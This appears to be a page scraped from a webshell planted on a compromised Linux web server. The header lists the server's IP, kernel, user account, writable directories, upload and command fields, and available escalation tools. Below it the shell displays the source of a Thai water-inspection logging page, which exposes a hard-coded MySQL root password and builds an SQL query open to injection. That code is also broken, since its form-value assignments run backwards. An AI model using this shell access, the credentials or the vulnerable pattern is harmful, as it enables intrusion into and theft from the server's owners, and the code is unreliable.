403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/water/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/water//index.php
<?php
include("wcconfig.php");
?>
<!DOCTYPE html>
<html>
<head>
<title>บันทึกผลการตรวจน้ำประจำวัน</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>
<style type="text/css">
textarea {
  margin: 0;
  padding: 0;
  border: 0;
  width: 100%;
  height: 100%;
  display:block;
  resize:none;/*Add this if you dont want users to resize */
}
.style7 {font-size: 18px}
</style>
<body>
<?PHP
$objConnect = mysql_connect("localhost","root","090407") or die("Error Connect to Database");
$objDB = mysql_select_db("water_check");
$datenow = date("Y-m-d H:i:s");
//echo $datenow ;
if (isset($_POST["save"])){
     //$_POST["d"]= $date;
	 $_POST["sediment"]=$sediment;
	 $_POST["oxygen"]=$oxygen;
	 $_POST["chlorine"]=$chlorine;
	//$_POST["acid-base"]= $acid-base;
	/*echo $_POST["d"].'<br>';
	echo $_POST["sediment"].'<br>';
	echo $_POST["oxygen"].'<br>';
	echo $_POST["chlorine"].'<br>';
	echo $_POST["acid-base"].'<br>';*/
	$objConnect = mysql_connect("localhost","root","090407") or die("Error Connect to Database");
	mysql_query("SET character_set_results=utf8");
	mysql_query("SET character_set_client=utf8");
	mysql_query("SET character_set_connection=utf8");
	$objDB = mysql_select_db("water");	
		$strSQL = "INSERT INTO water_check";
		$strSQL .="(sediment,oxygen,chlorine,acidity)";
		$strSQL .="VALUES";
		$strSQL .="('$sediment','$oxygen;'";
		$strSQL .=",'$chlorine','$acidity')";
		$objResult = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
}
?>		
<form  id="form1" name="form1" method="post" enctype="multipart/form-data" action="<?php echo $_SERVER['SCRIPT_NAME'];?>" >
<br>
  <table width="900"  height="250"align="center"   background="img/bg01.jpg">
    <tr>
      <td height="50"  bgcolor="#999999" colspan="3"><h1 align="center">บันทึกผลการตรวจน้ำประจำวัน</h1></td>
    </tr>
    <tr>
      <td width="311"><br>
      <img src="img/375.png" width="78" height="60" align="right"></td>
      <td width="319" height="50"   align="left" ><br>
        <span class="style7"><a href="add_report.php">- บันทึกผลการตรวจน้ำประจำวัน</a></span></td>
      <td width="254" rowspan="2" align="center"><img src="img/water.png" width="137" height="112"></td>
    </tr>
    <tr>
      <td width="311"><img src="img/375.png" width="78" height="60" align="right"></td>
      <td  align="left" height="50"><span class="style7"><a href="report.php">- รายงาน การบันทึกผลการตรวจน้ำประจำวัน</a></span> </td>
    </tr>
    <tr>
      <td height="100"></td>
      <td></td>
      <td></td>
  </table>
</form> 
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit